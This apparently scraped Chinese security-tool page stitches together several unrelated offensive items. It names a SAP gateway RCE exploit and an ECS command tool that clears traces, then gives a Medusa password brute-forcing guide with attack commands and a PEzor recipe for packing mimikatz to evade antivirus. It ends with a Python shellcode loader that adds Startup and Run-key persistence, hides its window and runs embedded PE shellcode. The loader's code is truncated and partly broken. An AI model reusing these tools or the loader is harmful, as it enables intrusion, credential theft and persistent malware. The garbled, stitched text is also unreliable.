SAP_GW_RCE_exploit
Download:SAP_GW_RCE_exploit-master.zip
Download:SAP_GW_RCE_exploit-master.zip
目前支持功能:查询ECS主机、执行命令、清理痕迹(云助手命令、执行结果)、命令执行回显。
待完善功能:清除主机日志、交互式shell、安全组策略查询与修改。
版本说明:Medusa2.2
下载地址:http://www.foofus.net/jmk/tools/medusa-2.2.tar.gz
使用环境:linux(kali自带)
工具说明:Medusa是一款密码爆破神器
一、工具介绍
Medusa旨在成为一个迅速,大规模并行,模块化,爆破登录。
目标支持大部分允许远程登录的服务。
以下是Medusa项目一些主要功能:
·基于线程的并行测试。可以同时对多个主机,用户或密码执行强力测试。
·灵活的用户输入目标信息(主机/用户/密码)可以通过多种方式指定。
例如,每个项目可以是单个条目或包含多个条目的文件。
此外,组合文件格式允许用户改进其目标列表。
·模块化设计。每个服务模块作为独立的.mod文件存在。
这意味着,核心应用程序不需要进行任何修改,以便扩展支持的强制服务列表。
相对于hydra:-稳定性好-速度控制得当-基于线程-支持模块少于hydra(不支持rdp 远程桌面)-WEB-Form支持存在缺陷
二、工具使用
用法:
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
Medusa [-h 主机| -H 文件] [-u 用户名| -U 文件] [-p 密码| -P 文件] [-C 文件] -M 模块[OPT]
警告:主机必须提供的信息。
参数说明:
-h [TEXT]:目标主机名或IP地址
-H [FILE]:包含目标主机名或IP地址的文件
-u [TEXT]:要测试的用户名
-U [FILE]:包含要测试的用户名的文件
-p [TEXT]:要测试的密码
-P [FILE]:包含要测试的密码的文件
-C [FILE]:包含组合条目的文件。有关更多信息,请参阅README。
-O [FILE]:将日志信息附加到的文件
-e [n / s / ns]:其他密码检查(n无密码,s 密码=用户名)
-M [TEXT]:要执行的模块的名称(不带.mod扩展名)
-m [TEXT]:传递给模块的参数。这可以通过一个多次传递不同的参数,并且它们全部被发送到模块(即,-m Param1 -m Param2等)
-d:转储所有已知的模块
-n [NUM]:用于非默认的TCP端口号
-s:启用SSL
-g [NUM]:尝试连接NUM秒后放弃(默认3)
-r [NUM]:在重试尝试之间休眠NUM秒(默认值3)
-R [NUM]:尝试NUM在放弃之前重试。总尝试次数将是NUM + 1。
-c [NUM]:在usec中等待以验证套接字的时间(缺省值为500 usec)。
-t [NUM]:要同时测试的登录总数
-T [NUM]:要同时测试的主机总数
-L:每个线程使用一个用户名并行登录。默认是处理整个用户名在继续之前。
三、实例用法
1、显示当前安装的所有模块:
medusa -d
“/ usr / lib / medusa / modules”中的可用模块:
+ cvs.mod:CVS会话的暴力模块:2.0版
+ ftp.mod:FTP / FTPS会话的暴力模块:版本2.1
+ http.mod:HTTP的蛮力模块:版本2.1
+ imap.mod:用于IMAP会话的暴力模块:版本2.0
+ mssql.mod:M $ -SQL会话的暴力模块:版本2.0
+ mysql.mod:MySQL会话的暴力模块:版本2.0
+ nntp.mod:NNTP会话的暴力模块:版本2.0
+ pcanywhere.mod:PcAnywhere会话的暴力模块:版本2.0
+ pop3.mod:用于POP3会话的暴力模块:版本2.0
+ postgres.mod:PostgreSQL会话的暴力模块:版本2.0
+ rdp.mod:RDP(微软终端服务器)会话的蛮力模块:版本0.1
+ rexec.mod:REXEC会话的蛮力模块:版本2.0
+ rlogin.mod:RLOGIN会话的暴力模块:版本2.0
+ rsh.mod:RSH会话的暴力模块:版本2.0
+ smbnt.mod:SMB(LM / NTLM / LMv2 / NTLMv2)会话的强力模块:版本2.1
+ smtp-vrfy.mod:用于验证SMTP帐户的蛮力模块(VRFY / EXPN / RCPT TO):2.1版
+ smtp.mod:用于TLS的SMTP身份验证的蛮力模块:版本2.0
+ snmp.mod:SNMP Community Strings的暴力模块:版本2.1
+ ssh.mod:用于SSH v2会话的强力模块:版本2.1
+ svn.mod:Subversion会话的蛮力模块:版本2.1
+ telnet.mod:用于telnet会话的暴力模块:版本2.0
+ vmauthd.mod:VMware认证守护进程的蛮力模块:版本2.0
+ vnc.mod:用于VNC会话的暴力模块:版本2.1
+ web-form.mod:用于Web表单的暴力模块:版本2.1
+ wrapper.mod:通用包装模块:版本2.0
-f:在找到第一个有效的用户名/密码后停止扫描主机。
-F:在任何主机上找到第一个有效的用户名/密码后停止审核。
-b:禁止启动横幅
-q:显示模块的使用信息
-v [NUM]:详细等级[0 - 6(更多)]
-w [NUM]:错误调试级别[0 - 10(更多)]
-V:显示版本
-Z [TEXT]:根据上次扫描的地图继续扫描
2、显示给定模块的特定选项:
medusa -M smbnt -q
3、以下命令指示Medusa通过SMB服务对主机192.168.0.20上的单个用户(管理员)测试passwords.txt中列出的所有密码。
“-e ns”指示美杜莎另外检查管理员帐户是否有一个空白密码或其密码设置为匹配其用户名(管理员)。
medusa -h 192.168.0.20 -u administrator -P passwords.txt -e ns -M smbnt
4、下面的命令行演示了如何执行Medusa的一些并行功能。
这里至少有20个主机和10个用户同时进行测试。
“-L”选项指示美杜莎由用户并行化。
这意味着针对主机的10个线程中的每个线程都会检查唯一用户。
medusa -H hosts.txt -U users.txt -P passwords.txt -T 20 -t 10 -L -F -M smbnt
5、Medusa允许使用“组合”文件设置主机/用户名/密码数据。组合文件可以使用“-C”选项指定。
该文件应该包含每行一个条目,并以“host:user:password”格式将值冒号分开。
如果三个字段中的任何一个留空,则相应的信息应作为全局值或作为文件中的列表提供。
Medusa将根据文件中第一行的内容执行基本的参数检查。
组合文件中可能有以下组合:
host:username:password
host:username:
host::
:username:password
:username:
::password
host::password
以下示例将检查文件combo.txt中的每个条目combo.txt文件:
medusa -M smbnt -C combo.txt
192.168.0.20:administrator:password
192.168.0.20:testuser:pass
192.168.0.30:administrator:blah
192.168.0.40:user1:foopass
以下示例将根据hosts.txt中列出的目标检查文件combo.txt中的每个条目combo.txt文件:
medusa -M smbnt -C combo.txt -H hosts.txt
:administrator:password
:testuser:pass
:administrator:blah
:user1:foopass
Medusa还支持使用PwDump文件作为组合文件。
这些文件的格式应该是user:id:lm:ntlm :::。我们在第一行末尾查找’:::’来确定文件是否包含PwDump输出。
6、恢复Medusa扫描。Medusa有能力恢复被SIGINT信号中断的扫描(例如CTRL-C)。
例如:
测试用SIGINT中断
medusa -M ssh -H host.txt -U users.txt -p password
中断扫描正在恢复
medusa -M ssh -H host.txt -U users.txt -p password -Z h2u3u4h3.****
https://github.com/phra/PEzor 主要是用于通过反射来执行exe或shellcode,从而来绕过AV。
PEzor的安装和配置我略过不讲。如果不会的话,可以去头条搜索海阳顶端看我的介绍文章。
inject.x64.exe来源于哪呢?来源于metasploit-frameworkexternalsourceexploitscve-2015-0016bin。
生成reflective-dll。
./PEzor -format=reflective-dll mimikatz.exe -z 2 -p '"token::whoami" "exit"'
改名为reflective_dll.x64.dll和inject.x64.exe在同一目录。
执行inject.x64.exe
看样本,这个生成出来的要被防护软件拦吧。
# -*- coding:utf-8 -*-
from ctypes import *
import ctypes
import re
import struct
import string
import binascii
import win32con
import win32api
import os
import sys
import pythoncom
import win32com.client as client
import hashlib
import time
def createShortCut(filename): # 目前创建的无起始位置 - No starting position currently created
"""filename should be abspath, or there will be some strange errors"""
try:
# 设置快捷方式的起始位置,此处设置为windows启动目录 - Set the starting position of the shortcut, here is set to the windows startup directory
working_directory = os.getenv(
'USERPROFILE') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\'
# 创建快捷方式的目标绝对路径 - The absolute path of the target to create the shortcut
lnkname = working_directory + filename + '.lnk'
# 要创建快捷方式的文件的绝对路径,此处是获取当前路径 - The absolute path of the file to create the shortcut, here is the current path
filename = os.path.dirname(os.path.realpath(sys.argv[0])) + '\\' + filename
shortcut = client.Dispatch("WScript.Shell").CreateShortCut(lnkname)
shortcut.TargetPath = filename
shortcut.save()
print('配置开机自启') # Configure auto start
except Exception as e:
print(e.args)
def set_shortcut(filename): # 如无需特别设置图标,则可去掉iconname参数 - If you don’t need to set the icon, you can remove the iconname parameter
print(filename)
try:
from win32com.shell import shell
from win32com.shell import shellcon
iconname = ""
# 设置快捷方式的起始位置,此处设置为windows启动目录 - Set the starting position of the shortcut, here is set to the windows startup directory
working_directory = os.getenv(
'USERPROFILE') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\'
# 创建快捷方式的目标绝对路径 - The absolute path of the target to create the shortcut
lnkname = working_directory + filename + '.lnk'
print(lnkname)
# 要创建快捷方式的文件的绝对路径,此处是获取当前路径 - The absolute path of the file to create the shortcut, here is the current path
#filename = os.path.dirname(os.path.realpath(sys.argv[0])) + '\\' + filename
shortcut = pythoncom.CoCreateInstance(
shell.CLSID_ShellLink, None,
pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
#shortcut.SetPath(filename)
shortcut.SetPath(sys.argv[0])
# 设置快捷方式的起始位置, 不然会出现找不到辅助文件的情况 - Set the starting position of the shortcut, otherwise the auxiliary file will not be found
shortcut.SetWorkingDirectory(working_directory)
# 可有可无,没有就默认使用文件本身的图标 - Optional, if not, use the icon of the file itself by default
shortcut.SetIconLocation(iconname, 0)
if os.path.splitext(lnkname)[-1] != '.lnk':
lnkname += ".lnk"
shortcut.QueryInterface(pythoncom.IID_IPersistFile).Save(lnkname, 0)
return True
except Exception as e:
print(e.args)
return False
def addfile2autorun(name):
try:
runpath = "Software\Microsoft\Windows\CurrentVersion\Run"
hKey = win32api.RegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, runpath, 0, win32con.KEY_SET_VALUE)
win32api.RegSetValueEx(hKey, name, 0, win32con.REG_SZ, sys.argv[0])
win32api.RegCloseKey(hKey)
except Exception as e:
pass
def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr:
raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
raise Exception("Failed to set protection on buffer")
return addr
def main():
buf = b""
buf += b"\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5"
buf += b"\x81\xc3\x93\x45\x00\x00\xff\xd3\x81\xc3\x66\x62\x02"
buf += b"\x00\x53\x6a\x04\x50\xff\xd0\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e"
buf += b"\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21"
buf += b"\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20"
buf += b"\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e"
buf += b"\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e"
buf += b"\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00\x49\x9c"
buf += b"\x6e\x3a\x0d\xfd\x00\x69\x0d\xfd\x00\x69\x0d\xfd\x00"
buf += b"\x69\x4b\xac\xe1\x69\x29\xfd\x00\x69\x4b\xac\xdf\x69"
buf += b"\x1a\xfd\x00\x69\x4b\xac\xe0\x69\x8e\xfd\x00\x69\x0d"
buf += b"\xfd\x01\x69\xce\xfd\x00\x69\x04\x85\x93\x69\x1c\xfd"
buf += b"\x00\x69\x04\x85\x83\x69\x0c\xfd\x00\x69\x00\xaf\xe0"
buf += b"\x69\x17\xfd\x00\x69\x00\xaf\xdc\x69\x0c\xfd\x00\x69"
buf += b"\x00\xaf\xde\x69\x0c\xfd\x00\x69\x52\x69\x63\x68\x0d"
buf += b"\xfd\x00\x69\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x50\x45\x00\x00\x4c\x01\x04\x00\x3c\x97\x52\x5f"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x02\x21\x0b"
buf += b"\x01\x0c\x00\x00\xf6\x01\x00\x00\xe6\x00\x00\x00\x00"
buf += b"\x00\x00\xaa\x38\x01\x00\x00\x10\x00\x00\x00\x10\x02"
bufmd5 = get_md5_value(buf)
set_shortcut("windows.dll-" + bufmd5)
addfile2autorun("windows.dll-" + bufmd5)
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
if 6669999999999999999999999999999999999==6669999999999999999999999999999999999:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
print ".................................."*666
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
#进程不能退出 - Process cannot exit
while True:
time.sleep(1)
def get_md5_value(src):
myMd5 = hashlib.md5()
myMd5.update(src)
myMd5_Digest = myMd5.hexdigest()
return myMd5_Digest
if __name__ == '__main__':
main()